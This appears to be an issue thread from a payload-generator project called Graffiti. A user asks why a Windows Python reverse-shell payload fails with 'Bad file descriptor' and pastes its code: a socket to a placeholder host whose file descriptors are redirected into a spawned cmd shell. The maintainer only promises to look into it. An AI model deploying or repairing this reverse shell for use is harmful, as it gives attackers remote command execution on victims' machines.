Graffiti
Graffiti copied to clipboard
OSError: [Errno 9] Bad file descriptor
Hello,
I tried to use this payload /windows/python/socket_reverse.json
, I ran it on windows, but the payload didn't work, and I got this error :
OSError: [Errno 9] Bad file descriptor
I found same error on Stack Overflow.
the payload code was:
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("host",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call("cmd")
I couldn't understand how to fix it, so can you help me out please?
It's been a minute since i've touched this so i'll look into it
It's been a minute since i've touched this so i'll look into it
It's been 26 days since you looked into it